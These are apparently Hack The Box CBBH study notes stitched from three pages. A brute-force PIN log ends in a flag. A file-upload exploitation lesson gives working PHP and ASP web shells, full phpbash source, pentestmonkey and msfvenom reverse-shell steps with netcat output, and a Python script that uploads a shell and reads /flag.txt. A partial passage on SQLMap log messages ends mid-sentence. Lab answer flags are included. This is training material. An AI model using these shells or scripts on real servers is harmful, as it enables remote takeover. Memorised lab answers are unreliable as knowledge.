PIN: 0633 Attempted PIN: 0634 Attempted PIN: 0635 Attempted PIN: 0636 Attempted PIN: 0637 Attempted PIN: 0638 Attempted PIN: 0639 Attempted PIN: 0640 Attempted PIN: 0641 Attempted PIN: 0642 Attempted PIN: 0643 Attempted PIN: 0644 Attempted PIN: 0645 Attempted PIN: 0646 Attempted PIN: 0647 Attempted PIN: 0648 Attempted PIN: 0649 Attempted PIN: 0650 Attempted PIN: 0651 Attempted PIN: 0652 Attempted PIN: 0653 Attempted PIN: 0654 Attempted PIN: 0655 Attempted PIN: 0656 Attempted PIN: 0657 Attempted PIN: 0658 Attempted PIN: 0659 Attempted PIN: 0660 Attempted PIN: 0661 Attempted PIN: 0662 Attempted PIN: 0663 Attempted PIN: 0664 Attempted PIN: 0665 Attempted PIN: 0666 Attempted PIN: 0667 Attempted PIN: 0668 Attempted PIN: 0669 Attempted PIN: 0670 Attempted PIN: 0671 Attempted PIN: 0672 Attempted PIN: 0673 Attempted PIN: 0674 Attempted PIN: 0675 Attempted PIN: 0676 Attempted PIN: 0677 Attempted PIN: 0678 Attempted PIN: 0679 Attempted PIN: 0680 Attempted PIN: 0681 Attempted PIN: 0682 Attempted PIN: 0683 Attempted PIN: 0684 Attempted PIN: 0685 Attempted PIN: 0686 Attempted PIN: 0687 Attempted PIN: 0688 Attempted PIN: 0689 Attempted PIN: 0690 Attempted PIN: 0691 Attempted PIN: 0692 Attempted PIN: 0693 Attempted PIN: 0694 Attempted PIN: 0695 Attempted PIN: 0696 Attempted PIN: 0697 Attempted PIN: 0698 Attempted PIN: 0699 Attempted PIN: 0700 Attempted PIN: 0701 Attempted PIN: 0702 Attempted PIN: 0703 Attempted PIN: 0704 Attempted PIN: 0705 Attempted PIN: 0706 Attempted PIN: 0707 Attempted PIN: 0708 Attempted PIN: 0709 Attempted PIN: 0710 Attempted PIN: 0711 Attempted PIN: 0712 Attempted PIN: 0713 Attempted PIN: 0714 Attempted PIN: 0715 Attempted PIN: 0716 Attempted PIN: 0717 Attempted PIN: 0718 Attempted PIN: 0719 Attempted PIN: 0720 Attempted PIN: 0721 Attempted PIN: 0722 Attempted PIN: 0723 Attempted PIN: 0724 Attempted PIN: 0725 Attempted PIN: 0726 Attempted PIN: 0727 Attempted PIN: 0728 Attempted PIN: 0729 Attempted PIN: 0730 Attempted PIN: 0731 Attempted PIN: 0732 Attempted PIN: 0733 Attempted PIN: 0734 Attempted PIN: 0735 Attempted PIN: 0736 Attempted PIN: 0737 Attempted PIN: 0738 Attempted PIN: 0739 Attempted PIN: 0740 Attempted PIN: 0741 Attempted PIN: 0742 Attempted PIN: 0743 Attempted PIN: 0744 Attempted PIN: 0745 Attempted PIN: 0746 Attempted PIN: 0747 Attempted PIN: 0748 Attempted PIN: 0749 Attempted PIN: 0750 Attempted PIN: 0751 Attempted PIN: 0752 Attempted PIN: 0753 Attempted PIN: 0754 Attempted PIN: 0755 Attempted PIN: 0756 Attempted PIN: 0757 Attempted PIN: 0758 Attempted PIN: 0759 Attempted PIN: 0760 Attempted PIN: 0761 Attempted PIN: 0762 Attempted PIN: 0763 Attempted PIN: 0764 Attempted PIN: 0765 Attempted PIN: 0766 Attempted PIN: 0767 Attempted PIN: 0768 Attempted PIN: 0769 Attempted PIN: 0770 Attempted PIN: 0771 Attempted PIN: 0772 Attempted PIN: 0773 Attempted PIN: 0774 Attempted PIN: 0775 Attempted PIN: 0776 Correct PIN found: 0776 Flag: HTB{Brut3_F0rc3_1s_P0w3rfu1} --- # Upload Exploitation | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/basic-exploitation/upload-exploitation.md) . * * * The final step in exploiting this web application is to upload the malicious script in the same language as the web application, like a web shell or a reverse shell script. Once we upload our malicious script and visit its link, we should be able to interact with it to take control over the back-end server. * * * ### Web Shells[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/basic-exploitation/upload-exploitation#web-shells) We can find many excellent web shells online that provide useful features, like directory traversal or file transfer. One good option for `PHP` is [phpbash](https://github.com/Arrexel/phpbash) , which provides a terminal-like, semi-interactive web shell. Furthermore, [SecLists](https://github.com/danielmiessler/SecLists/tree/master/Web-Shells) provides a plethora of web shells for different frameworks and languages, which can be found in the `/opt/useful/seclists/Web-Shells` directory in `PwnBox`. We can download any of these web shells for the language of our web application (`PHP` in our case), then upload it through the vulnerable upload feature, and visit the uploaded file to interact with the web shell. For example, let's try to upload `phpbash.php` from [phpbash](https://github.com/Arrexel/phpbash) to our web application, and then navigate to its link by clicking on the Download button: arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F136%2Ffile_uploads_php_bash.jpg&width=768&dpr=3&quality=100&sign=4089676c&sv=2) As we can see, this web shell provides a terminal-like experience, which makes it very easy to enumerate the back-end server for further exploitation. Try a few other web shells from SecLists, and see which ones best meet your needs. * * * ### Writing Custom Web Shell[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/basic-exploitation/upload-exploitation#writing-custom-web-shell) Although using web shells from online resources can provide a great experience, we should also know how to write a simple web shell manually. This is because we may not have access to online tools during some penetration tests, so we need to be able to create one when needed. For example, with `PHP` web applications, we can use the `system()` function that executes system commands and prints their output, and pass it the `cmd` parameter with `$_REQUEST['cmd']`, as follows: Code: php If we write the above script to `shell.php` and upload it to our web application, we can execute system commands with the `?cmd=` GET parameter (e.g. `?cmd=id`), as follows: arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F136%2Ffile_uploads_php_manual_shell.jpg&width=768&dpr=3&quality=100&sign=ada9df03&sv=2) This may not be as easy to use as other web shells we can find online, but it still provides an interactive method for sending commands and retrieving their output. It could be the only available option during some web penetration tests. Tip: If we are using this custom web shell in a browser, it may be best to use source-view by clicking `[CTRL+U]`, as the source-view shows the command output as it would be shown in the terminal, without any HTML rendering that may affect how the output is formatted. Web shells are not exclusive to `PHP`, and the same applies to other web frameworks, with the only difference being the functions used to execute system commands. For `.NET` web applications, we can pass the `cmd` parameter with `request('cmd')` to the `eval()` function, and it should also execute the command specified in `?cmd=` and print its output, as follows: Code: asp We can find various other web shells online, many of which can be easily memorized for web penetration testing purposes. It must be noted that `in certain cases, web shells may not work`. This may be due to the web server preventing the use of some functions utilized by the web shell (e.g. `system()`), or due to a Web Application Firewall, among other reasons. In these cases, we may need to use advanced techniques to bypass these security mitigations, but this is outside the scope of this module. * * * ### Reverse Shell[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/basic-exploitation/upload-exploitation#reverse-shell) Finally, let's see how we can receive reverse shells through the vulnerable upload functionality. To do so, we should start by downloading a reverse shell script in the language of the web application. One reliable reverse shell for `PHP` is the [pentestmonkey](https://github.com/pentestmonkey/php-reverse-shell) PHP reverse shell. Furthermore, the same [SecLists](https://github.com/danielmiessler/SecLists/tree/master/Web-Shells) we mentioned earlier also contains reverse shell scripts for various languages and web frameworks, and we can utilize any of them to receive a reverse shell as well. Let's download one of the above reverse shell scripts, like the [pentestmonkey](https://github.com/pentestmonkey/php-reverse-shell) , and then open it in a text editor to input our `IP` and listening `PORT`, which the script will connect to. For the `pentestmonkey` script, we can modify lines `49` and `50` and input our machine's IP/PORT: Code: php Next, we can start a `netcat` listener on our machine (with the above port), upload our script to the web application, and then visit its link to execute the script and get a reverse shell connection: Upload Exploitation As we can see, we successfully received a connection back from the back-end server that hosts the vulnerable web application, which allows us to interact with it for further exploitation. The same concept can be used for other web frameworks and languages, with the only difference being the reverse shell script we use. * * * ### Generating Custom Reverse Shell Scripts[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/basic-exploitation/upload-exploitation#generating-custom-reverse-shell-scripts) Just like web shells, we can also create our own reverse shell scripts. While it is possible to use the same previous `system` function and pass it a reverse shell command, this may not always be very reliable, as the command may fail for many reasons, just like any other reverse shell command. This is why it is always better to use core web framework functions to connect to our machine. However, this may not be as easy to memorize as a web shell script. Luckily, tools like `msfvenom` can generate a reverse shell script in many languages and may even attempt to bypass certain restrictions in place. We can do so as follows for `PHP`: Upload Exploitation Once our `reverse.php` script is generated, we can once again start a `netcat` listener on the port we specified above, upload the `reverse.php` script and visit its link, and we should receive a reverse shell as well: Upload Exploitation Similarly, we can generate reverse shell scripts for several languages. We can use many reverse shell payloads with the `-p` flag and specify the output language with the `-f` flag. While reverse shells are always preferred over web shells, as they provide the most interactive method for controlling the compromised server, they may not always work, and we may have to rely on web shells instead. This can be for several reasons, like having a firewall on the back-end network that prevents outgoing connections or if the web server disables the necessary functions to initiate a connection back to us. ### **Questions**[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/basic-exploitation/upload-exploitation#questions) 94.237.50.9:50593 #### Try to exploit the upload feature to upload a web shell and get the content of /flag.txt[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/basic-exploitation/upload-exploitation#try-to-exploit-the-upload-feature-to-upload-a-web-shell-and-get-the-content-of-flag.txt) Step 1. Copy &&paste && save the script from here [https://github.com/Arrexel/phpbash/blob/master/phpbash.php](https://github.com/Arrexel/phpbash/blob/master/phpbash.php) as a php file in pawn box. Step 2. Open browser, drag and drop the file into vulnerable space. Download the file and open it in browser. Press enter or click to view image in full size ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afit%3A700%2F1*-nnKqXyoYwFgYR5GQz0JTg.png&width=768&dpr=3&quality=100&sign=d142bff9&sv=2) _easy peasy lemon squeezy_ PYTHON AUTOMATION Another option is to use the customer webshell in php and embed this into a python script OUTPUTS A: HTB{g07\_my\_f1r57\_w3b\_5h3ll} [PreviousAbsent Validation](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/basic-exploitation/absent-validation) [NextBypassing Filters](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters) Last updated 9 months ago * [Web Shells](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/basic-exploitation/upload-exploitation#web-shells) * [Writing Custom Web Shell](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/basic-exploitation/upload-exploitation#writing-custom-web-shell) * [Reverse Shell](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/basic-exploitation/upload-exploitation#reverse-shell) * [Generating Custom Reverse Shell Scripts](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/basic-exploitation/upload-exploitation#generating-custom-reverse-shell-scripts) * [Questions](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/basic-exploitation/upload-exploitation#questions) Copy <?php system($_REQUEST['cmd']); ?> Copy <% eval request('cmd') %> Copy $ip = 'OUR_IP'; // CHANGE THIS $port = OUR_PORT; // CHANGE THIS Copy Code4Christ@htb[/htb]$ nc -lvnp OUR_PORT listening on [any] OUR_PORT ... connect to [OUR_IP] from (UNKNOWN) [188.166.173.208] 35232 # id uid=33(www-data) gid=33(www-data) groups=33(www-data) Copy Code4Christ@htb[/htb]$ msfvenom -p php/reverse_php LHOST=OUR_IP LPORT=OUR_PORT -f raw > reverse.php ...SNIP... Payload size: 3033 bytes Copy Code4Christ@htb[/htb]$ nc -lvnp OUR_PORT listening on [any] OUR_PORT ... connect to [OUR_IP] from (UNKNOWN) [181.151.182.286] 56232 # id uid=33(www-data) gid=33(www-data) groups=33(www-data) Copy <?php /* phpbash by Alexander Reid (Arrexel) */ if (ISSET($_POST['cmd'])) { $output = preg_split('/[\n]/', shell_exec($_POST['cmd']." 2>&1")); foreach ($output as $line) { echo htmlentities($line, ENT_QUOTES | ENT_HTML5, 'UTF-8') . "<br>"; } die(); } else if (!empty($_FILES['file']['tmp_name']) && !empty($_POST['path'])) { $filename = $_FILES["file"]["name"]; $path = $_POST['path']; if ($path != "/") { $path .= "/"; } if (move_uploaded_file($_FILES["file"]["tmp_name"], $path.$filename)) { echo htmlentities($filename) . " successfully uploaded to " . htmlentities($path); } else { echo "Error uploading " . htmlentities($filename); } die(); } ?> <html> <head> <title></title> <style> html, body { max-width: 100%; } body { width: 100%; height: 100%; margin: 0; background: #000; } body, .inputtext { font-family: "Lucida Console", "Lucida Sans Typewriter", monaco, "Bitstream Vera Sans Mono", monospace; font-size: 14px; font-style: normal; font-variant: normal; font-weight: 400; line-height: 20px; overflow: hidden; } .console { width: 100%; height: 100%; margin: auto; position: absolute; color: #fff; } .output { width: auto; height: auto; position: absolute; overflow-y: scroll; top: 0; bottom: 30px; left: 5px; right: 0; line-height: 20px; } .input form { position: relative; margin-bottom: 0px; } .username { height: 30px; width: auto; padding-left: 5px; line-height: 30px; float: left; } .input { border-top: 1px solid #333333; width: 100%; height: 30px; position: absolute; bottom: 0; } .inputtext { width: auto; height: 30px; bottom: 0px; margin-bottom: 0px; background: #000; border: 0; float: left; padding-left: 8px; color: #fff; } .inputtext:focus { outline: none; } ::-webkit-scrollbar { width: 12px; } ::-webkit-scrollbar-track { background: #101010; } ::-webkit-scrollbar-thumb { background: #303030; } </style> </head> <body> <div class="console"> <div class="output" id="output"></div> <div class="input" id="input"> <form id="form" method="GET" onSubmit="sendCommand()"> <div class="username" id="username"></div> <input class="inputtext" id="inputtext" type="text" name="cmd" autocomplete="off" autofocus> </form> </div> </div> <form id="upload" method="POST" style="display: none;"> <input type="file" name="file" id="filebrowser" onchange='uploadFile()' /> </form> <script type="text/javascript"> var username = ""; var hostname = ""; var currentDir = ""; var previousDir = ""; var defaultDir = ""; var commandHistory = []; var currentCommand = 0; var inputTextElement = document.getElementById('inputtext'); var inputElement = document.getElementById("input"); var outputElement = document.getElementById("output"); var usernameElement = document.getElementById("username"); var uploadFormElement = document.getElementById("upload"); var fileBrowserElement = document.getElementById("filebrowser"); getShellInfo(); function getShellInfo() { var request = new XMLHttpRequest(); request.onreadystatechange = function() { if (request.readyState == XMLHttpRequest.DONE) { var parsedResponse = request.responseText.split("<br>"); username = parsedResponse[0]; hostname = parsedResponse[1]; currentDir = parsedResponse[2].replace(new RegExp("&sol;", "g"), "/"); defaultDir = currentDir; usernameElement.innerHTML = "<div style='color: #ff0000; display: inline;'>"+username+"@"+hostname+"</div>:"+currentDir+"#"; updateInputWidth(); } }; request.open("POST", "", true); request.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); request.send("cmd=whoami; hostname; pwd"); } function sendCommand() { var request = new XMLHttpRequest(); var command = inputTextElement.value; var originalCommand = command; var originalDir = currentDir; var cd = false; commandHistory.push(originalCommand); switchCommand(commandHistory.length); inputTextElement.value = ""; var parsedCommand = command.split(" "); if (parsedCommand[0] == "cd") { cd = true; if (parsedCommand.length == 1) { command = "cd "+defaultDir+"; pwd"; } else if (parsedCommand[1] == "-") { command = "cd "+previousDir+"; pwd"; } else { command = "cd "+currentDir+"; "+command+"; pwd"; } } else if (parsedCommand[0] == "clear") { outputElement.innerHTML = ""; return false; } else if (parsedCommand[0] == "upload") { fileBrowserElement.click(); return false; } else { command = "cd "+currentDir+"; " + command; } request.onreadystatechange = function() { if (request.readyState == XMLHttpRequest.DONE) { if (cd) { var parsedResponse = request.responseText.split("<br>"); previousDir = currentDir; currentDir = parsedResponse[0].replace(new RegExp("&sol;", "g"), "/"); outputElement.innerHTML += "<div style='color:#ff0000; float: left;'>"+username+"@"+hostname+"</div><div style='float: left;'>"+":"+originalDir+"# "+originalCommand+"</div><br>"; usernameElement.innerHTML = "<div style='color: #ff0000; display: inline;'>"+username+"@"+hostname+"</div>:"+currentDir+"#"; } else { outputElement.innerHTML += "<div style='color:#ff0000; float: left;'>"+username+"@"+hostname+"</div><div style='float: left;'>"+":"+currentDir+"# "+originalCommand+"</div><br>" + request.responseText.replace(new RegExp("<br><br>$"), "<br>"); outputElement.scrollTop = outputElement.scrollHeight; } updateInputWidth(); } }; request.open("POST", "", true); request.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); request.send("cmd="+encodeURIComponent(command)); return false; } function uploadFile() { var formData = new FormData(); formData.append('file', fileBrowserElement.files[0], fileBrowserElement.files[0].name); formData.append('path', currentDir); var request = new XMLHttpRequest(); request.onreadystatechange = function() { if (request.readyState == XMLHttpRequest.DONE) { outputElement.innerHTML += request.responseText+"<br>"; } }; request.open("POST", "", true); request.send(formData); outputElement.innerHTML += "<div style='color:#ff0000; float: left;'>"+username+"@"+hostname+"</div><div style='float: left;'>"+":"+currentDir+"# Uploading "+fileBrowserElement.files[0].name+"...</div><br>"; } function updateInputWidth() { inputTextElement.style.width = inputElement.clientWidth - usernameElement.clientWidth - 15; } document.onkeydown = checkForArrowKeys; function checkForArrowKeys(e) { e = e || window.event; if (e.keyCode == '38') { previousCommand(); } else if (e.keyCode == '40') { nextCommand(); } } function previousCommand() { if (currentCommand != 0) { switchCommand(currentCommand-1); } } function nextCommand() { if (currentCommand != commandHistory.length) { switchCommand(currentCommand+1); } } function switchCommand(newCommand) { currentCommand = newCommand; if (currentCommand == commandHistory.length) { inputTextElement.value = ""; } else { inputTextElement.value = commandHistory[currentCommand]; setTimeout(function(){ inputTextElement.selectionStart = inputTextElement.selectionEnd = 10000; }, 0); } } document.getElementById("form").addEventListener("submit", function(event){ event.preventDefault() }); </script> </body> </html> Copy """ --------------------------- Upload Exploitation --------------------------- 1. Try to exploit the upload feature to upload a web shell and get the content of /flag.txt """ # Import Request to send web request to the internet import requests import sys import requests import subprocess # Module to display output in different colors. from colorama import Fore, Back, Style """ Disable the display of certificate warnings when requests are made to websites using insecure certificates. This can be useful in scenarios where targeted web applications use self-signed certificates as is the case in the AWAE labs. """ requests.packages.urllib3.\ disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) def main(): """ Main entry point: - validate CLI args - build request info - simulate (or actually perform) the request - format and print the response blocks """ # If the script is ran without specify the target if len(sys.argv) != 2: print(f"In CLI, Usage should be: {sys.argv[0]} target") print(f"Example: {sys.argv[0]} 10.0.0.1") print(f"Example: {sys.argv[0]} manageengine") sys.exit(1) # Obtain taregt from CLI target = sys.argv[1].strip().rstrip('/') # from CLI202 DEFAULT_HEADERS = { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Referer": "", # can set if needed "Connection": "keep-alive", "Upgrade-Insecure-Requests": "1", } # Optional headers to mimic your Burp capture HEADERS = { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0", "Accept": "*/*", "X-Requested-With": "XMLHttpRequest", "Origin": "http://{target}", "Referer": "http://{target}/", # don't set Content-Type here — requests will set the correct multipart boundary } # ============================ PHP SCRIPT ============================ # php_web_shell_filename = "shell.php" php_content = "<?php system($_REQUEST['cmd']); ?>" # ============================ UPLOAD URL of TARGET ============================ # upload_url = f"http://{target}/upload.php" access_url = f"http://{target}/uploads/{php_web_shell_filename}?cmd=cat%20/flag.txt" files = { # form field name 'file' may vary by app; change if necessary "uploadFile": (php_web_shell_filename, php_content.encode("utf-8"), "application/x-php") } # ============================ Initiate the Request to UPLOAD PHP FILE ============================ # try: # WARNING: verify=False disables TLS certificate verification. r = requests.post(upload_url, files=files, verify=False, timeout=10) except requests.RequestException as e: print(f"Request failed: {e}") sys.exit(2) # ============================ FORMAT OUTPUT ============================ # print("\n======= Custom Exploit Development =======\n") print(format_text("REQUEST METHOD:", r.request.method)) print(format_text("REQUEST URL:", r.request.url)) print(format_text("REQUEST HEADERS | r.headers is: :", r.request.headers)) print(format_text("REQUEST BODY (raw):", r.request.body)) # shows form-encoded body print(format_text("RESPONSE STATUS | r.status_code is:", r.status_code)) print(format_text("RESPONSE COOKIES | r.cookies is:", r.cookies)) print(format_text("RESPONSE CONTENT-LENGTH:", len(r.text))) print(format_text("RESPONSE (first 300 chars):\n", r.text)) # ============================ Initiate the Request to ACCESS PHP UPLOAD FILE RESPONSE ============================ # try: # WARNING: verify=False disables TLS certificate verification. r = requests.get(access_url, headers={"User-Agent": HEADERS["User-Agent"]}, verify=False, timeout=10) except requests.RequestException as e: print(f"Request failed: {e}") sys.exit(2) # ============================ FORMAT OUTPUT ============================ # print("\n======= Custom Exploit Development =======\n") print(format_text("REQUEST METHOD:", r.request.method)) print(format_text("REQUEST URL:", r.request.url)) print(format_text("REQUEST HEADERS | r.headers is: :", r.request.headers)) print(format_text("REQUEST BODY (raw):", r.request.body)) # shows form-encoded body print(format_text("RESPONSE STATUS | r.status_code is:", r.status_code)) print(format_text("RESPONSE COOKIES | r.cookies is:", r.cookies)) print(format_text("RESPONSE CONTENT-LENGTH:", len(r.text))) print(format_text("RESPONSE (first 300 chars):\n", r.text)) def format_text(title,item): """ Helper to create a nicely formatted console output block. - title: short label for the section (e.g. "r.status_code is:") - item: item to display (will be stringified) Returns a string that contains the title, a separator, the item, and a short marker. """ cr = '\r\n' section_break = cr + "*" * 20 + cr item = str(item) text = Style.BRIGHT + Fore.RED + title + Fore.RESET + section_break + item + section_break + '\t' return text if __name__ == "__main__": main() Copy ┌──(venv)─(kali㉿kali)-[~/CWES/File-Upload-Attacks/Basic-Exploitation/Upload-Exploitation] └─$ python3 Upload-Exploitation.py 94.237.50.9:42134 ======= Johnny Custom Exploit Development ======= REQUEST METHOD: ******************** POST ******************** REQUEST URL: ******************** http://94.237.50.9:42134/upload.php ******************** REQUEST HEADERS | r.headers is: : ******************** {'User-Agent': 'python-requests/2.32.5', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive', 'Content-Length': '218', 'Content-Type': 'multipart/form-data; boundary=14067601c69fb518d072d018eeebc794'} ******************** REQUEST BODY (raw): ******************** b'--14067601c69fb518d072d018eeebc794\r\nContent-Disposition: form-data; name="uploadFile"; filename="shell.php"\r\nContent-Type: application/x-php\r\n\r\n<?php system($_REQUEST[\'cmd\']); ?>\r\n--14067601c69fb518d072d018eeebc794--\r\n' ******************** RESPONSE STATUS | r.status_code is: ******************** 200 ******************** RESPONSE COOKIES | r.cookies is: ******************** <RequestsCookieJar[]> ******************** RESPONSE CONTENT-LENGTH: ******************** 26 ******************** RESPONSE (first 300 chars): ******************** File successfully uploaded ******************** ======= Johnny Custom Exploit Development ======= REQUEST METHOD: ******************** GET ******************** REQUEST URL: ******************** http://94.237.50.9:42134/uploads/shell.php?cmd=cat%20/flag.txt ******************** REQUEST HEADERS | r.headers is: : ******************** {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive'} ******************** REQUEST BODY (raw): ******************** None ******************** RESPONSE STATUS | r.status_code is: ******************** 200 ******************** RESPONSE COOKIES | r.cookies is: ******************** <RequestsCookieJar[]> ******************** RESPONSE CONTENT-LENGTH: ******************** 28 ******************** RESPONSE (first 300 chars): ******************** HTB{g07_my_f1r57_w3b_5h3ll} ******************** --- # SQLMap Output Description | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/sqlmap-overview/sqlmap-output-description.md) . * * * At the end of the previous section, the sqlmap output showed us a lot of info during its scan. This data is usually crucial to understand, as it guides us through the automated SQL injection process. This shows us exactly what kind of vulnerabilities SQLMap is exploiting, which helps us report what type of injection the web application has. This can also become handy if we wanted to manually exploit the web application once SQLMap determines the type of injection and vulnerable parameter. * * * ### [Log Messages Description](https://academy.hackthebox.com/beta/module/58/section/696#log-messages-description) [](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/sqlmap-overview/sqlmap-output-description#log-messages-description) The following are some of the most common messages usually found during a scan of SQLMap, along with an example of each from the previous exercise and its description. [**URL content is stable**](https://academy.hackthebox.com/beta/module/58/section/696#url-content-is-stable) `Log Message:` * "target URL content is stable" This means that there are no major changes between responses in case of continuous identical requests. This is important from the automation point of view since, in the event of stable responses, it is easier to spot differences caused by the potential SQLi attempts. While stability is important, SQLMap has advanced mechanisms to automatically remove the potential "noise" that could come from potentially unstable targets. [**Parameter appears to be dynamic**](https://academy.hackthebox.com/beta/module/58/section/696#parameter-appears-to-be-dynamic) `Log Message:` * "GET parameter 'id' appears to be dynamic" It is always desired for the tested parameter to be "dynamic," as it is a sign that any changes made to its value would result in a change in the response; hence the parameter may be linked to a database. In case the output is "static" and does not change, it could be an indicator that the value of the tested parameter is not processed by the target, at least in the current context. [**Parameter might be injectable**](https://academy.hackthebox.com/beta/module/58/section/696#parameter-might-be-injectable) `Log Message:` "heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')" As discussed before, DBMS errors are a good indication of the potential SQLi. In this case, there was a MySQL error when SQLMap sends an intentionally invalid value was used (e.g. `?id=1",)..).))'`), which indicates that the tested parameter could be SQLi injectable and that the target could be MySQL. It should be noted that this is not proof of SQLi, but just an indication that the detection mechanism has to be proven in the subsequent run. [**Parameter might be vulnerable to XSS attacks**](https://academy.hackthebox.com/beta/module/58/section/696#parameter-might-be-vulnerable-to-xss-attacks) `Log Message:` * "heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks" While it is not its primary purpose, SQLMap also runs a quick heuristic test for the presence of an XSS vulnerability. In large-scale tests, where a lot of parameters are being tested with SQLMap, it is nice to have these kinds of fast heuristic checks, especially if there are no SQLi vulnerabilities found. [**Back-end DBMS is '...'**](https://academy.hackthebox.com/beta/module/58/section/696#back-end-dbms-is) `Log Message:` * "it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? Y/n" In a normal run, SQLMap tests for all supported DBMSes. In case that there is a clear indication that the target is using the specific DBMS, we can narrow down the payloads to just that specific DBMS. [**Level/risk values**](https://academy.hackthebox.com/beta/module/58/section/696#levelrisk-values) `Log Message:` * "for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? Y/n" If there is a clear indication that the target uses the specific DBMS, it is also possible to extend the tests for that same specific DBMS beyond the regular tests. This basically means running all SQL injection payloads for that specific DBMS, while if no DBMS were detected, only top payloads would be tested. [**Reflective values found**](https://academy.hackthebox.com/beta/module/58/section/696#reflective-values-found) `Log Message:` * "reflective value(s) found and filtering out" Just a warning that parts of the used payloads are found in the response. This behavior could cause problems to automation tools, as it represents the junk. However, SQLMap has filtering mechanisms to remove such junk before comparing the original page content. [**Parameter appears to be injectable**](https://academy.hackthebox.com/beta/module/58/section/696#parameter-appears-to-be-injectable) `Log Message:` * "GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="luther")" This message indicates that the parameter appears to be injectable, though there is still a chance for it to be a false-positive finding. In the case of boolean-based blind and similar SQLi types (e.g., time-based blind), where there is a high chance of false-positives, at the end of the run, SQLMap performs extensive testing consisting of simple logic checks for removal of false-positive findings. Additionally, `with --string="luther"` indicates that SQLMap recognized and used the appearance of constant string value `luther` in the response for distinguishing `TRUE` from `FALSE` responses. This is an important finding because in such cases, there is no need for the usage of advanced internal mechanisms, such as dynamicity/reflection removal or fuzzy comparison of responses, which cannot be considered as false-positive. [**Time-based comparison statistical model**](https://academy.hackthebox.com/beta/module/58/section/696#time-based-comparison-statistical-model) `Log Message:` * "time-based comparison requires a larger statistical model, please wait........... (done)" SQLMap uses a statistical model for the recognition of regular and (deliberately) delayed target responses. For this model to work, there is a requirement to collect a sufficient number of regular response times. This way, SQLMap can statistically distinguish between the deliberate delay even in the high-latency network environments. [**Extending UNION query injection technique tests**](https://academy.hackthebox.com/beta/module/58/section/696#extending-union-query-injection-technique-tests) `Log Message:` * "automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found" UNION-query SQLi checks require considerably more requests for successful recognition of usable payload than other SQLi types. To lower the testing time per parameter, especially if the target does not appear to be injectable, the number of requests is capped to a constant value (i.e., 10) for this type of check. However, if there is a good chance that the target is vulnerable, especially as one other (potential) SQLi technique is found, SQLMap extends the default number of requests for UNION query SQLi, because of a higher expectancy of success. [**Technique appears to be usable**](https://academy.hackthebox.com/beta/module/58/section/696#technique-appears-to-be-usable) `Log Message:` * "ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test" As a heuristic check for the UNION-query SQLi type, before the actual `UNION` payloads are sent, a technique known as `ORDER BY` is checked for usability. In case that it is usable, SQLMap can quickly recognize the correct number of required `UNION` columns by conducting the binary-search approach. Note that this depends on the affected table in the vulnerable query. [**Parameter is vulnerable**](https://academy.hackthebox.com/beta/module/58/section/696#parameter-is-vulnerable) `Log Message:` * "GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? y/N" This is one of the most important messages of SQLMap, as it means that the parameter was found to be vulnerable to SQL injections. In the regular cases, the user may only want to find at least one injection point (i.e., parameter) usable against the target. However, if we were running an extensive test on the web application and want to report all potential vulnerabilities, we can continue searching for all vulnerable parameters. [**Sqlmap identified injection points**](https://academy.hackthebox.com/beta/module/58/section/696#sqlmap-identified-injection-points) `Log Message:` * "sqlmap identified the following injection point(s) with a total of 46 HTTP(s) requests:" Following after is a listing of all injection points with type, title, and payloads, which represents the final proof of successful detection and exploitation of found SQLi vulnerabilities. It should be noted that SQLMap lists only those findings which are provably exploitable (i.e., usable). [**Data logged to text 